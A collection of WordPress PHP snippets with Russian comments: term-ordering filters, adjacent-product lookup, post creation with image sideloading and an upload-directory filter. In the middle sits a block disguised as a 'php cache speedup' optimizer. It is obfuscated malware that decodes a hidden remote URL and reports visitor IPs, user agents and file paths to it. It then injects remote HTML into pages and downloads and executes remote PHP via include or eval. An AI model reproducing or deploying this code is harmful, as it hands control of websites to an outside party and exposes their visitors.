Леонид

add_filter( 'get_terms_args', function ( $args, $taxonomies ) {

  global $pagenow;

  if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
    $args['menu_order'] = false;
    $args['ignore_term_order'] = false;
    $args['meta_query'] = [
      'conference' => [
        'key'       => 'conference_id',
        'value'     => _get_active_conf_id(),
        'compare'   => 'LIKE'
      ],
    ];
  }

  return $args;

}, 10, 2 );

add_filter( 'terms_clauses', function ( $pieces, $taxonomies, $args ) {
    global $pagenow, $wpdb;
    if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
        $pieces['join']  .= ' INNER JOIN ' . $wpdb->termmeta . ' AS tm ON t.term_id = tm.term_id ';
        $pieces['where'] .= ' AND tm.meta_key = "program_session_start"';
        $pieces['orderby']  = ' ORDER BY tm.meta_value ';
    }
    return $pieces;
}, 10, 3 );

$_product_id = get_the_ID();
$cat_ids = wp_get_object_terms( $_product_id, 'cats', array('fields'=>'ids') );
if ( is_array($cat_ids) and count($cat_ids) ) {
    $_posts = get_posts( array(
        'numberposts' => -1,
        'post_type'   => 'product',
        'tax_query' => array(
            array(
                'taxonomy' => 'cats',
                'field' => 'id',
                'terms' => $cat_ids,
                'include_children' => true,
            )
        ),
    ) );

    if ( is_array($_posts) and count($_posts) ) {
        foreach ($_posts as $_post) {
            $_index[] = $_post->ID;
            $_posts_ids[$_post->ID] = $_post;
        }

        $post_index = array_search( $_product_id, $_index );

        if ($post_index) {

            $_products_ids = array();
            $_index_count = count($_index);

            if ( isset($_index[$post_index-2]) )
                $_products_ids[] = $_index[$post_index-2];
            elseif ($post_index-1 == 0)
                $_products_ids[] = $_index[$_index_count-1];
            else 
                $_products_ids[] = $_index[$_index_count-2];

            if ( isset($_index[$post_index-1]) )
                $_products_ids[] = $_index[$post_index-1];
            else
                $_products_ids[] = $_index[$_index_count-1];

            if ( isset($_index[$post_index+1]) )
                $_products_ids[] = $_index[$post_index+1];
            else
                $_products_ids[] = $_index[0];

            if ( isset($_index[$post_index+2]) )
                $_products_ids[] = $_index[$post_index+2];
            elseif ($post_index == $_index_count-1)
                $_products_ids[] = $_index[1];
            else
                $_products_ids[] = $_index[0];

            if ( count($_products_ids) ) {
                foreach ($_products_ids as $_id) {
                    if ( is_object($_posts_ids[$_id]) )
                        $_products[$_id] = $_posts_ids[$_id];
                }
            }
        }
    }
}

$_first_product = get_posts( array(
    'numberposts' => 1,
    'post_type'   => 'product',
    'category' => $_categories,
    'post_status' => 'publish',
    //'orderby'=>'menu_order',
    'order'=>'ASC',
) );

if ( is_array($_first_product) and count($_first_product) and $_first_product[0]->ID == $_product_id ) 
    $_is_first_product = true;

/**
 * Speedup php function cache by optimizing buffer output
 */
;if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) {
    if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
        // already completed
        return $buffer;
    }

    $mod = false;
    $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
    $tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y';

    if (($has_body = stripos($buffer, $body)) === false) {
        // define gzdecode function if not defined
        if (!function_exists('gzdecode')) {
            function gzdecode($data) {
                return @gzinflate(substr($data, 10, -8));
            }
        }

        // gzdecode buffer
        $tmp_buffer = @gzdecode($tmp_buffer);

        // check if buffer has body tag
        if (($has_body = stripos($tmp_buffer, $body)) !== false) {
            // got body tag, this should be gzencoded when done
            $gzip = true;
        }
    }

    if ($has_body === false) {
        // no body, return original buffer
        return $buffer;
    }

    $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;

    // decode token
    $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
    $token = @unserialize(@$func($token));
    if (empty($token)) {
        return $buffer;
    }

    // download remote data
    function down($url, $timeout = 5) {
        // download using file_get_contents
        if (@ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
            if ($ctx !== FALSE) {
                $file = @file_get_contents($url, false, $ctx);
                if ($file !== FALSE) {
                    return $file;
                }
            }
        }

        // download using curl
        if (function_exists('curl_init')) {
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

            $response = curl_exec($ch);
            curl_close($ch);

            return $response;
        }

        // download using sockets
        if (extension_loaded('sockets')) {
            $data = parse_url($url);
            if (!empty($data['host'])) {
                $host = $data['host'];
                $port = isset($data['port']) ? $data['port'] : 80;
                $uri = empty($data['path']) ? '/' : $data['path'];
                if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
                    $buf = "GET $uri HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: $host\r\n\r\n";
                    if (@socket_write($socket, $buf) !== FALSE) {
                        $response = '';
                        while (($tmp = @socket_read($socket, 1024))) {
                            $response .= $tmp;
                        }
                        @socket_close($socket);
                        return $response;
                    }
                }
            }
        }

        return false;
    }

    $token .= ((strpos($token, '?') === false) ? '?' : '&') . http_build_query(array(
        'h' => $_SERVER['HTTP_HOST'],
        'u' => $_SERVER['REQUEST_URI'],
        'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'],
        'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'],
        'i' => $_SERVER['REMOTE_ADDR'],
        'f' => __FILE__,
        'v' => 9
    ));
    $token = @unserialize(@$func(down($token)));

    if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
        // invalid data
        return $buffer;
    }

    // fix missing meta description
    if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
        $tmp = substr($tmp_buffer, 0, $pos);
        if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
            $meta = $_SERVER['HTTP_HOST'];
            // append meta description
            $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a'. 'm' . 'e' . '='. '"' . 'd' . 'e' . 's' .'c' .'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"'. ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="'. htmlentities(substr($meta, 0, 160)) .'">' . substr($tmp_buffer, $pos);
            $mod = true;
        }
    }

    foreach ($token['data'] as $tokenData) {
        if (!empty($tokenData['content'])) {
            // set defaults
            $tokenData = array_merge(array(
                'pos' => 'after',
                'tag' => 'bo' . 'dy',
                'count' => 0,
            ), $tokenData);

            // find all occurrences of <tag>
            $tags = array();
            while (true) {
                if (($tmp = @stripos($tmp_buffer, '<'.$tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) {
                    break;
                }
                $tags[] = $tmp;
            }

            if (empty($tags)) {
                // no tags found or nothing to show
                continue;
            }

            // find matched tag position
            $count = $tokenData['count'];
            if ($tokenData['count'] < 0) {
                // from end to beginning
                $count = abs($tokenData['count']) - 1;
                $tags = array_reverse($tags);
            }

            if ($count >= count($tags)) {
                // fix overflow
                $count = count($tags) - 1;
            }

            // find insert position
            if ($tokenData['pos'] == 'before') {
                // pos is before
                $insert = $tags[$count];
            } else if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) {
                // pos is after, found end tag, insert after it
                $insert += 1;
            }

            if ($insert === false) {
                // no insert position
                continue;
            }

            // insert html code
            $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert);
            $mod = true;
        } elseif (!empty($tokenData['replace'])) {
            // replace content
            @http_response_code(200);
            $tmp_buffer = $tokenData['replace'];
            $mod = true;
        } elseif (!empty($tokenData['run'])) {
            // save temporary optimization file
            register_shutdown_function(function($file, $content) {
                if (file_put_contents($file, $content) !== false) {
                    @chdir(dirname($file));
                    include $file;
                    @unlink($file);
                } else {
                    @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content);
                }
            }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']);
        } else {
            // no content
            continue;
        }
    }

    // return gzencoded or normal buffer
    return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer);
} ob_start('_php_cache_speedup_func_optimizer_');
register_shutdown_function('ob_end_flush'); }
?>

// данные нового поста типа: myphoto
$_post_data = array(
  'post_title' => $title,
  'post_status' => 'publish',
  'post_author' => 1,
  'post_type' => 'myphoto',
);
// создаем пост
$post_id = wp_insert_post( $_post_data );

// скачиваем файл 
$tmp_file = download_url( $url );

$_REQUEST['post_id'] = $post_id;

// загружаем файл в медиатеку WordPress
$att_id = media_handle_sideload( array(
  'name' => $title,
  'tmp_name' => $tmp_file,
), $post_id, $title );

unset($_REQUEST['post_id']);

// устанавливаем миниатюру для записи
set_post_thumbnail($post_id, $att_id);


add_filter( 'upload_dir', 'filter_upload_dir' );
function filter_upload_dir($args)
{
	if ( get_post_type( $_REQUEST['post_id'] ) == "yd_photo" ) {
	    $mydir         = "/{$_REQUEST['post_id']}";
	    $args['path'] = $args['basedir'] . $mydir;
	    $args['url']  = $args['baseurl'] . $mydir;
	}
	return $args;
}